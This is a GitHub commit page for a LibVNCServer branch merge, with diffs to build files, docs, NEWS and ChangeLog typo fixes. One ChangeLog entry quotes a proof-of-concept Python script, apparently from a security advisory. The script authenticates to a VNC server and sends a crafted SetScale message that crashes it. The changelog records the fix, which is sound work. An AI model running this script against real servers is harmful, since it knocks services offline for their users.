Skip to content

Commit b6f7235

Browse files
author
Christian Beier
committed
Merge branch 'master' into multicastvnc
Conflicts: libvncclient/Makefile.am libvncclient/vncviewer.c libvncserver/Makefile.am libvncserver/rfbserver.c rfb/rfbclient.h rfb/rfbproto.h
2 parents 2d72fc8 + 1f8c443 commit b6f7235

64 files changed

Lines changed: 1130 additions & 2166 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

.gitignore

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,6 @@ examples/vncev
6161
libtool
6262
libvncclient/libvncclient.la
6363
libvncserver/libvncserver.la
64-
rfb/rfbint.h
6564
test/blooptest
6665
test/cargstest
6766
test/copyrecttest

.travis.yml

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
language: c
2+
3+
# before build script, run autoreconf
4+
before_script: autoreconf -fiv

AUTHORS

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,8 @@ George Fleury, Kan-Ru Chen, Steve Guo, Luca Stauble, Peter Watkins,
3838
Kyle J. McKay, Mateus Cesar Groess, Philip Van Hoof, D. R. Commander,
3939
Rostislav Lisovy, Oliver Loch, Raphael Kubo da Costa, Amandeep Singh,
4040
Brian Bidulock, Daniel Cohen Gindi, David Verbeiren, Luca Falavigna,
41-
Matthias Treydte, Nicolas Ruff and Robbert Klarenbeek.
41+
Matthias Treydte, Nicolas Ruff, Robbert Klarenbeek and Floris Bos.
42+
4243

4344
Probably I forgot quite a few people sending a patch here and there, which
4445
really made a difference. Without those, some obscure bugs still would

CMakeLists.txt

Lines changed: 20 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
cmake_minimum_required(VERSION 2.6)
2+
cmake_policy(SET CMP0037 NEW)
23

34
project(LibVNCServer)
45
include(CheckFunctionExists)
@@ -11,10 +12,11 @@ include(CheckCSourceRuns)
1112

1213
set(PACKAGE_NAME "LibVNCServer")
1314
set(FULL_PACKAGE_NAME "LibVNCServer")
14-
set(PACKAGE_VERSION "0.9.10")
1515
set(VERSION_MAJOR "0")
1616
set(VERSION_MINOR "9")
1717
set(VERSION_PATCHLEVEL "10")
18+
set(VERSION_SO "0")
19+
set(PACKAGE_VERSION "${VERSION_MAJOR}.${VERSION_MINOR}.${VERSION_PATCHLEVEL}")
1820
set(PROJECT_BUGREPORT_PATH "http://sourceforge.net/projects/libvncserver")
1921
set(CMAKE_C_FLAGS "-O2 -W -Wall -g")
2022
set(LIBVNCSERVER_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libvncserver)
@@ -105,10 +107,12 @@ if(GNUTLS_FOUND)
105107
option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (gnutls)" ON)
106108
set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${GNUTLS_LIBRARIES})
107109
set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_gnutls ${LIBVNCSERVER_DIR}/rfbcrypto_gnutls)
110+
include_directories(${GNUTLS_INCLUDE_DIR})
108111
elseif(OPENSSL_FOUND)
109112
option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (openssl)" ON)
110113
set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${OPENSSL_LIBRARIES})
111114
set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_openssl ${LIBVNCSERVER_DIR}/rfbcrypto_openssl)
115+
include_directories(${OPENSSL_INCLUDE_DIR})
112116
else()
113117
option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (no ssl)" ON)
114118
set(WEBSOCKET_LIBRARIES ${RESOLV_LIB})
@@ -134,12 +138,21 @@ check_include_file("sys/wait.h" LIBVNCSERVER_HAVE_SYS_WAIT_H)
134138
check_include_file("unistd.h" LIBVNCSERVER_HAVE_UNISTD_H)
135139

136140
# headers needed for check_type_size()
141+
check_include_file("vfork.h" LIBVNCSERVER_HAVE_VFORK_H)
142+
check_include_file("ws2tcpip.h" LIBVNCSERVER_HAVE_WS2TCPIP_H)
137143
check_include_file("arpa/inet.h" HAVE_ARPA_INET_H)
138144
check_include_file("stdint.h" HAVE_STDINT_H)
139145
check_include_file("stddef.h" HAVE_STDDEF_H)
140146
check_include_file("sys/types.h" HAVE_SYS_TYPES_H)
141147

142148
check_function_exists(gettimeofday LIBVNCSERVER_HAVE_GETTIMEOFDAY)
149+
check_function_exists(vfork LIBVNCSERVER_HAVE_VFORK)
150+
check_function_exists(vprintf LIBVNCSERVER_HAVE_VPRINTF)
151+
152+
153+
if(LIBVNCSERVER_HAVE_WS2TCPIP_H AND LIBVNCSERVER_HAVE_VPRINTF)
154+
option(LIBVNCSERVER_IPv6 "Enable IPv6 Support" ON)
155+
endif()
143156

144157
if(CMAKE_USE_PTHREADS_INIT)
145158
set(LIBVNCSERVER_HAVE_LIBPTHREAD 1)
@@ -168,7 +181,6 @@ TEST_BIG_ENDIAN(LIBVNCSERVER_WORDS_BIGENDIAN)
168181
# inline
169182

170183
configure_file(${CMAKE_CURRENT_SOURCE_DIR}/rfb/rfbconfig.h.cmake ${CMAKE_BINARY_DIR}/rfb/rfbconfig.h)
171-
configure_file(${CMAKE_CURRENT_SOURCE_DIR}/rfb/rfbint.h.cmake ${CMAKE_BINARY_DIR}/rfb/rfbint.h)
172184

173185
set(LIBVNCSERVER_SOURCES
174186
${LIBVNCSERVER_DIR}/main.c
@@ -281,6 +293,7 @@ target_link_libraries(vncclient
281293
${ZLIB_LIBRARIES}
282294
${JPEG_LIBRARIES}
283295
${GNUTLS_LIBRARIES}
296+
${OPENSSL_LIBRARIES}
284297
)
285298
target_link_libraries(vncserver
286299
${ADDITIONAL_LIBS}
@@ -291,7 +304,7 @@ target_link_libraries(vncserver
291304
)
292305

293306
SET_TARGET_PROPERTIES(vncclient vncserver
294-
PROPERTIES SOVERSION "0.0.0"
307+
PROPERTIES SOVERSION "${VERSION_SO}" VERSION "${PACKAGE_VERSION}"
295308
)
296309

297310
# tests
@@ -356,14 +369,14 @@ endif(HAVE_FFMPEG)
356369

357370
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/examples)
358371
foreach(test ${LIBVNCSERVER_TESTS})
359-
add_executable(examples/${test} ${LIBVNCSRVTEST_DIR}/${test}.c)
360-
target_link_libraries(examples/${test} vncserver ${CMAKE_THREAD_LIBS_INIT})
372+
add_executable(examples_${test} ${LIBVNCSRVTEST_DIR}/${test}.c)
373+
target_link_libraries(examples_${test} vncserver ${CMAKE_THREAD_LIBS_INIT})
361374
endforeach(test ${LIBVNCSERVER_TESTS})
362375

363376
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/client_examples)
364377
foreach(test ${LIBVNCCLIENT_TESTS})
365-
add_executable(client_examples/${test} ${LIBVNCCLITEST_DIR}/${test}.c ${LIBVNCCLITEST_DIR}/${${test}_EXTRA_SOURCES} )
366-
target_link_libraries(client_examples/${test} vncclient ${CMAKE_THREAD_LIBS_INIT} ${X11_LIBRARIES} ${SDL_LIBRARY} ${FFMPEG_LIBRARIES})
378+
add_executable(client_examples_${test} ${LIBVNCCLITEST_DIR}/${test}.c ${LIBVNCCLITEST_DIR}/${${test}_EXTRA_SOURCES} )
379+
target_link_libraries(client_examples_${test} vncclient ${CMAKE_THREAD_LIBS_INIT} ${X11_LIBRARIES} ${SDL_LIBRARY} ${FFMPEG_LIBRARIES})
367380
endforeach(test ${LIBVNCCLIENT_TESTS})
368381

369382
install_targets(/lib vncserver)
@@ -373,7 +386,6 @@ install_files(/include/rfb FILES
373386
rfb/rfb.h
374387
rfb/rfbclient.h
375388
rfb/rfbconfig.h
376-
rfb/rfbint.h
377389
rfb/rfbproto.h
378390
rfb/rfbregion.h
379391
)

ChangeLog

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@
3737

3838

3939
(struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port>
40-
[password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
40+
[password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occurred.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
4141

4242
2014-10-14 dscho <johannes.schindelin@gmx.de>
4343

@@ -1361,7 +1361,7 @@
13611361

13621362
* libvncserver/Makefile.am: Fix build error when libpng is
13631363
available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses
1364-
libjpeg features. We could probably seperate that, but for now the
1364+
libjpeg features. We could probably separate that, but for now the
13651365
dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around.
13661366

13671367
2011-12-01 Christian Beier <dontmind@freeshell.org>
@@ -1527,10 +1527,10 @@
15271527
2011-10-16 George Fleury <gfleury@gmail.com>
15281528

15291529
* libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not
1530-
been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using
1530+
been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didn't look the whole libvncserver api, but i am using
15311531
rfbReverseConnection with rfbProcessEvents, and then when the client
15321532
connection dies, i am calling a rfbShutdownServer and
1533-
rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been
1533+
rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isn't been
15341534
freed. So to free the stats i added a rfbResetStats(cl) after
15351535
rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before
15361536
free the cl pointer. (at rfbserver.c line 555). And this, obviously,
@@ -1685,7 +1685,7 @@
16851685
2011-08-25 Gernot Tenchio <gernot@tenchio.de>
16861686

16871687
* libvncserver/websockets.c: websockets: added gcrypt based sha1
1688-
digest funtion
1688+
digest function
16891689

16901690
2011-08-25 Joel Martin <jmartin@sentryds.com>
16911691

@@ -1901,7 +1901,7 @@
19011901

19021902
2010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com>
19031903

1904-
* libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected
1904+
* libvncserver/tight.c: Fix memory corruption bug. This bug occurred when a second telepathy tubes client was connected
19051905
after the first one had disconnected and the channel (thus, the
19061906
screen too) had been destroyed. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
19071907

@@ -2070,7 +2070,7 @@
20702070
common/minilzo.h, libvncclient/Makefile.am,
20712071
libvncserver/Makefile.am: Update minilzo library used for Ultra
20722072
encoding to ver 2.04. According to the minilzo README, this brings a significant speedup
2073-
on 64-bit architechtures. Changes compared to old version 1.08 can be found here:
2073+
on 64-bit architectures. Changes compared to old version 1.08 can be found here:
20742074
http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind@freeshell.org>
20752075

20762076
2011-01-24 Christian Beier <dontmind@freeshell.org>
@@ -3209,7 +3209,7 @@
32093209
x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
32103210
x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range
32113211
for X11VNC_SKIP_DISPLAY, document grab Xserver issue. Add
3212-
progress_client() to proceed more quickly thru handshake.
3212+
progress_client() to proceed more quickly through handshake.
32133213
Improvements to turbovnc hack.
32143214

32153215
2009-03-07 dscho <dscho>
@@ -5601,7 +5601,7 @@
56015601
x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
56025602
x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
56035603
x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5604-
x11vnc/x11vnc_defs.c: SSL Java viewer work thru proxy. -sslGenCA, etc key/cert
5604+
x11vnc/x11vnc_defs.c: SSL Java viewer work through proxy. -sslGenCA, etc key/cert
56055605
management utils for x11vnc. FBPM "support".
56065606

56075607
2006-03-28 dscho <dscho>
@@ -6760,7 +6760,7 @@
67606760

67616761
* AUTHORS, libvncclient/listen.c, libvncclient/sockets.c,
67626762
libvncclient/vncviewer.c: use rfbClientErr to log errors, check if
6763-
calloc succeded (both hinted by Andre Leiradella)
6763+
calloc succeeded (both hinted by Andre Leiradella)
67646764

67656765
2004-11-30 dscho <dscho>
67666766

@@ -7442,7 +7442,7 @@
74427442
2003-08-03 dscho <dscho>
74437443

74447444
* rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to
7445-
LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary...
7445+
LIBVNCSERVER_BIGENDIAN; #undef VERSION unnecessary...
74467446

74477447
2003-08-02 dscho <dscho>
74487448

@@ -8285,7 +8285,7 @@
82858285

82868286
2001-10-15 dscho <dscho>
82878287

8288-
* .gdb_history: unneccessary file
8288+
* .gdb_history: unnecessary file
82898289

82908290
2001-10-13 dscho <dscho>
82918291

@@ -8536,7 +8536,7 @@
85368536

85378537
2001-09-25 dscho <dscho>
85388538

8539-
* .depend: rmoved unneccessary files
8539+
* .depend: rmoved unnecessary files
85408540

85418541
2001-09-25 dscho <dscho>
85428542

Doxyfile

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -292,7 +292,7 @@ TYPEDEF_HIDES_STRUCT = YES
292292
# causing a significant performance penality.
293293
# If the system has enough physical memory increasing the cache will improve the
294294
# performance by keeping more symbols in memory. Note that the value works on
295-
# a logarithmic scale so increasing the size by one will rougly double the
295+
# a logarithmic scale so increasing the size by one will roughly double the
296296
# memory usage. The cache size is given by this formula:
297297
# 2^(16+SYMBOL_CACHE_SIZE). The valid range is 0..9, the default is 0,
298298
# corresponding to a cache size of 2^16 = 65536 symbols
@@ -661,7 +661,6 @@ RECURSIVE = YES
661661
# subdirectory from a directory tree whose root is specified with the INPUT tag.
662662

663663
EXCLUDE = rfb/rfbconfig.h \
664-
rfb/rfbint.h \
665664
rfb/default8x16.h
666665

667666
# The EXCLUDE_SYMLINKS tag can be used select whether or not files or

Makefile.am

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,17 +2,16 @@ ACLOCAL_AMFLAGS = -I m4
22

33
SUBDIRS=libvncserver examples libvncclient webclients client_examples test
44
DIST_SUBDIRS=libvncserver examples libvncclient webclients client_examples test
5-
EXTRA_DIST = CMakeLists.txt rfb/rfbint.h.cmake rfb/rfbconfig.h.cmake
5+
EXTRA_DIST = CMakeLists.txt rfb/rfbconfig.h.cmake
66

77
bin_SCRIPTS = libvncserver-config
88

99
pkgconfigdir = $(libdir)/pkgconfig
1010
pkgconfig_DATA = libvncserver.pc libvncclient.pc
1111

1212
includedir=$(prefix)/include/rfb
13-
#include_HEADERS=rfb.h rfbconfig.h rfbint.h rfbproto.h keysym.h rfbregion.h
1413

15-
include_HEADERS=rfb/rfb.h rfb/rfbconfig.h rfb/rfbint.h rfb/rfbproto.h \
14+
include_HEADERS=rfb/rfb.h rfb/rfbconfig.h rfb/rfbproto.h \
1615
rfb/keysym.h rfb/rfbregion.h rfb/rfbclient.h
1716

1817
$(PACKAGE)-$(VERSION).tar.gz: dist

NEWS

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,12 @@
1+
0.9.11
2+
- LibVNCClient:
3+
* Now initializes libgcrypt before use if the application did not do it.
4+
Fixes a crash when connection to Mac hosts
5+
(https://github.com/LibVNC/libvncserver/issues/45).
6+
7+
- LibVNCServer:
8+
* Stability fixes for the WebSocket implementation.
9+
110
0.9.10
211
- Overall changes:
312
* Moved the whole project from sourceforge to https://libvnc.github.io/.
@@ -74,7 +83,7 @@
7483
* Implemented xvp VNC extension.
7584
* Updated minilzo library used for Ultra encoding to ver 2.04.
7685
According to the minilzo README, this brings a significant
77-
speedup on 64-bit architechtures.
86+
speedup on 64-bit architectures.
7887

7988
- LibVNCServer:
8089
* Thread safety for ZRLE, Zlib, Tight, RRE, CoRRE and Ultra encodings.
@@ -125,7 +134,7 @@
125134
- Print this string out to stdout: 'PORT=XXXX' (usually XXXX = 5900).
126135
Combining with -bg, easy to write a ssh/rsh wrapper with something like:
127136
port=`ssh $host "x11vnc -bg .."` then run vncviewer based on $port output.
128-
(tunneling the vnc traffic thru ssh a bit more messy, but doable)
137+
(tunneling the vnc traffic through ssh a bit more messy, but doable)
129138

130139
- Quite a bit of code to be more careful when doing 8bpp indexed color, e.g.
131140
not assuming NCOLORS is 256, handling 8bit TrueColor and Direct Color, etc

README

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
[![Build Status](https://travis-ci.org/LibVNC/libvncserver.svg?branch=master)](https://travis-ci.org/LibVNC/libvncserver)
2+
13
LibVNCServer: A library for easy implementation of a VNC server.
24
Copyright (C) 2001-2003 Johannes E. Schindelin
35

@@ -24,15 +26,15 @@ Try example: it outputs on which port it listens (default: 5900), so it is
2426
display 0. To view, call
2527
vncviewer :0
2628
You should see a sheet with a gradient and "Hello World!" written on it. Try
27-
to paint something. Note that everytime you click, there is some bigger blot,
29+
to paint something. Note that every time you click, there is some bigger blot,
2830
whereas when you drag the mouse while clicked you draw a line. The size of the
2931
blot depends on the mouse button you click. Open a second vncviewer with
3032
the same parameters and watch it as you paint in the other window. This also
3133
works over internet. You just have to know either the name or the IP of your
3234
machine. Then it is
3335
vncviewer machine.where.example.runs.com:0
3436
or similar for the remote client. Now you are ready to type something. Be sure
35-
that your mouse sits still, because everytime the mouse moves, the cursor is
37+
that your mouse sits still, because every time the mouse moves, the cursor is
3638
reset to the position of the pointer! If you are done with that demo, press
3739
the down or up arrows. If your viewer supports it, then the dimensions of the
3840
sheet change. Just press Escape in the viewer. Note that the server still
@@ -112,7 +114,7 @@ Before you draw something, be sure to call
112114
This tells LibVNCServer to hide the cursor.
113115
Remark: There are vncviewers out there, which know a cursor encoding, so
114116
that network traffic is low, and also the cursor doesn't need to be
115-
drawn the cursor everytime an update is sent. LibVNCServer handles
117+
drawn the cursor every time an update is sent. LibVNCServer handles
116118
all the details. Just set the cursor and don't bother any more.
117119

118120
To set the mouse coordinates (or emulate mouse clicks), call
@@ -323,7 +325,7 @@ If you love products from Redmod, you better skip this paragraph.
323325
I am always amazed how people react whenever Microsoft(tm) puts in some
324326
features into their products which were around for a long time. Especially
325327
reporters seem to not know dick about what they are reporting about! But
326-
what is everytime annoying again, is that they don't do it right. Every
328+
what is every time annoying again, is that they don't do it right. Every
327329
concept has it's new name (remember what enumerators used to be until
328330
Mickeysoft(tm) claimed that enumerators are what we thought were iterators.
329331
Yeah right, enumerators are also containers. They are not separated. Muddy.)

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
README

0 commit comments

Comments
 (0)